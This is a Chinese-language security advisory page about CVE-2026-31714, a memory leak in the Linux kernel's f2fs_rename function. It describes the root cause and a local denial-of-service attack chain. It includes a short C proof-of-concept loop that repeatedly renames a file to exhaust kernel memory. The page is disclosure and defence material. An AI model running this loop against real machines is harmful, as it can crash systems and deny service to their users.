IPBUF安全漏洞报告
English
CVE-2026-31714 CVSS 5.5 中危

CVE-2026-31714: Linux内核f2fs内存泄漏漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31714
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

内存泄漏Linux Kernelf2fsDoS本地漏洞

漏洞概述

Linux内核的f2fs文件系统模块中存在一个内存泄漏漏洞,该漏洞被追踪为CVE-2026-31714。问题出在`f2fs_rename`函数的实现逻辑中。为了修复SELinux标签创建问题,开发者在特定提交中引入了`f2fs_setup_filename`函数调用,用于设置文件名加密上下文。然而,该调用后未正确执行配对的`f2fs_free_filename`函数来释放分配的内存资源。当本地用户频繁触发重命名操作时,会导致内核内存持续泄漏,最终可能耗尽系统内存,影响系统可用性。

技术细节

该漏洞的根源在于Linux内核源码的`fs/f2fs/namei.c`文件中的`f2fs_rename`函数。在commit 40b2d55e0452中,为了在白名单初始化期间创建SELinux标签,代码增加了对`f2fs_setup_filename`的调用。该函数内部会调用`fscrypt_setup_filename`,进而通过`kmalloc`分配内存(大小通常为16字节,用于存储加密相关的文件名信息)。然而,在函数退出路径或错误处理路径中,代码遗忘了调用`f2fs_free_filename`来释放这块内存。根据syzbot提供的堆栈回溯,泄漏发生在`f2fs_rename` -> `f2fs_setup_filename` -> `fscrypt_setup_filename` -> `__kmalloc_noprof`链路中。由于攻击向量是本地(AV:L)且需要低权限(PR:L),攻击者可以通过在受影响的系统上执行特定的重命名脚本或程序,反复触发该代码路径,导致内核内存不可逆地减少,最终引发OOM(内存溢出)或系统拒绝服务。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要具备本地系统的低权限用户账号(PR:L)。
STEP 2
步骤2:执行重命名操作
攻击者在挂载了f2fs文件系统的目录下,编写并运行脚本反复执行文件重命名操作(rename syscall)。
STEP 3
步骤3:触发内存泄漏
每次重命名操作调用`f2fs_rename`函数时,由于缺少释放调用,分配给文件名加密上下文的内存(16字节)将无法被回收。
STEP 4
步骤4:系统资源耗尽
随着操作次数增加,内核内存逐渐耗尽,可能导致系统变慢、崩溃或拒绝服务(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31714 * Description: Trigger memory leak in f2fs_rename by renaming files in a loop. * Compilation: gcc -o poc_rename poc_rename.c */ #include <stdio.h> #include <unistd.h> int main() { const char *old_name = "test_file_old"; const char *new_name = "test_file_new"; int i = 0; // Create a dummy file if it doesn't exist creat(old_name, 0644); printf("Starting rename loop to trigger memory leak...\n"); while (1) { if (rename(old_name, new_name) == 0) { // Swap back for next iteration rename(new_name, old_name); i++; if (i % 10000 == 0) { printf("Renamed %d times. Check kernel memory usage.\n", i); } } else { perror("rename failed"); break; } } return 0; }

影响范围

Linux Kernel (包含commit 40b2d55e0452但未应用补丁的版本)

防御指南

临时缓解措施
限制非信任用户的本地访问权限,或监控内核内存使用情况以检测异常泄漏。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表